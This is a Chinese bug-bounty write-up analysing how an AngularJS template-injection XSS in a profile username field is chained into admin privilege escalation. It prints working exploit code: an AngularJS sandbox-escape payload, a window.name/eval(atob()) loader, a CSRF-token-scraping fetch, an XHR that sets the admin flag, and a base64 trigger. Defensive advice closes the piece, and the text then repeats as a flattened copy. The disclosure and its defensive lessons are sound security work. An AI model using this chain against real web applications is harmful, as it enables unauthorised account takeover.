Bug Bounty:利用基于AngularJS的XSS进行权限提升
字数 1214 2025-08-26 22:11:40

利用基于AngularJS的XSS进行权限提升 - 技术分析文档

1. 漏洞背景

本文档详细分析了一个基于AngularJS的XSS漏洞如何被用于权限提升的实际案例。攻击者通过精心构造的XSS攻击链,成功将普通用户权限提升至管理员权限。

2. 漏洞发现

2.1 目标环境

  • 目标系统:基于AngularJS的Web应用
  • 漏洞位置:用户个人资料页面(https://www.site.com/users/username-here
  • 受影响功能:用户名显示功能

2.2 初步测试

  • 传统XSS测试:"> 被过滤
  • 特殊字符被正确过滤,传统XSS攻击无效
  • 尝试AngularJS注入:{{constructor.constructor('alert(1)')()}} 成功

3. 漏洞利用技术

3.1 利用限制

  1. 用户名字段长度限制严格
  2. 无法注入引用外部JS的<script>标签
  3. 恶意内容会显示在个人资料页面

3.2 关键技术:window.name技术

  • 使用window.name存储payload
  • 通过eval(atob(top.name))执行payload
  • 优势:
    • 绕过长度限制
    • 绕过恶意验证检查
    • payload不直接出现在易受攻击的应用程序中

3.3 攻击流程

  1. 构造恶意payload并进行Base64编码
  2. 使用window.open(url,"window name here")设置窗口名称
  3. 通过eval(atob(window.name))执行编码后的payload

4. 权限提升分析

4.1 目标功能

  • 管理员可修改用户权限
  • 关键参数:csc=1(授予完全权限)

4.2 权限提升请求示例

POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1

4.3 CSRF令牌获取

  • 可能位置:
    • Cookie (document.cookie)
    • Meta标签 (<meta name="CSRF_TOKEN" content="TOKEN_HERE">)
  • 获取方法:
    fetch('https://vulnerablesite.com/settings',{credentials: 'include'})
      .then((resp) => resp.text())
      .then(function(data){
        woot.innerHTML=data;
        var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
      });
    

5. 完整攻击代码

5.1 权限提升函数

function privilege_escalate(){
  var req = new XMLHttpRequest();
  req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
  req.withCredentials = true;
  req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
  req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}

5.2 完整利用代码

var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'})
  .then((resp) => resp.text())
  .then(function(data){
    woot.innerHTML=data;
    var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
    privilege_escalate();
    
    function privilege_escalate(){
      var req = new XMLHttpRequest();
      req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
      req.withCredentials = true;
      req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
      req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
    }
  });

5.3 攻击触发方式

<script>
window.open(
  'https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',
  'dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxLm9wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlLm9yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop'
)
</script>

6. 防御建议

6.1 输入过滤

  • 对所有用户输入进行严格过滤
  • 特别注意AngularJS特有的注入方式

6.2 输出编码

  • 对所有动态内容进行适当的HTML编码
  • 使用安全的模板引擎

6.3 其他防护措施

  1. 实施内容安全策略(CSP)
  2. 使用HttpOnly和Secure标志设置Cookie
  3. 对敏感操作实施双重认证
  4. 限制用户权限修改功能的访问
  5. 定期进行安全审计和渗透测试

7. 总结

本案例展示了:

  1. 传统XSS防护措施可能不足以防御框架特定的攻击
  2. 利用window.name技术可以绕过多种防护限制
  3. XSS漏洞可能导致严重的权限提升问题
  4. 安全测试应尝试多种攻击向量,不局限于传统方法

安全研究人员应:

  • 深入了解目标应用使用的技术栈
  • 尝试非传统的攻击方法
  • 关注漏洞的实际影响而不仅仅是证明漏洞存在
利用基于AngularJS的XSS进行权限提升 - 技术分析文档 1. 漏洞背景 本文档详细分析了一个基于AngularJS的XSS漏洞如何被用于权限提升的实际案例。攻击者通过精心构造的XSS攻击链,成功将普通用户权限提升至管理员权限。 2. 漏洞发现 2.1 目标环境 目标系统:基于AngularJS的Web应用 漏洞位置:用户个人资料页面( https://www.site.com/users/username-here ) 受影响功能:用户名显示功能 2.2 初步测试 传统XSS测试: "> 被过滤 特殊字符被正确过滤,传统XSS攻击无效 尝试AngularJS注入: {{constructor.constructor('alert(1)')()}} 成功 3. 漏洞利用技术 3.1 利用限制 用户名字段长度限制严格 无法注入引用外部JS的 <script> 标签 恶意内容会显示在个人资料页面 3.2 关键技术:window.name技术 使用 window.name 存储payload 通过 eval(atob(top.name)) 执行payload 优势: 绕过长度限制 绕过恶意验证检查 payload不直接出现在易受攻击的应用程序中 3.3 攻击流程 构造恶意payload并进行Base64编码 使用 window.open(url,"window name here") 设置窗口名称 通过 eval(atob(window.name)) 执行编码后的payload 4. 权限提升分析 4.1 目标功能 管理员可修改用户权限 关键参数: csc=1 (授予完全权限) 4.2 权限提升请求示例 4.3 CSRF令牌获取 可能位置: Cookie ( document.cookie ) Meta标签 ( <meta name="CSRF_TOKEN" content="TOKEN_HERE"> ) 获取方法: 5. 完整攻击代码 5.1 权限提升函数 5.2 完整利用代码 5.3 攻击触发方式 6. 防御建议 6.1 输入过滤 对所有用户输入进行严格过滤 特别注意AngularJS特有的注入方式 6.2 输出编码 对所有动态内容进行适当的HTML编码 使用安全的模板引擎 6.3 其他防护措施 实施内容安全策略(CSP) 使用HttpOnly和Secure标志设置Cookie 对敏感操作实施双重认证 限制用户权限修改功能的访问 定期进行安全审计和渗透测试 7. 总结 本案例展示了: 传统XSS防护措施可能不足以防御框架特定的攻击 利用window.name技术可以绕过多种防护限制 XSS漏洞可能导致严重的权限提升问题 安全测试应尝试多种攻击向量,不局限于传统方法 安全研究人员应: 深入了解目标应用使用的技术栈 尝试非传统的攻击方法 关注漏洞的实际影响而不仅仅是证明漏洞存在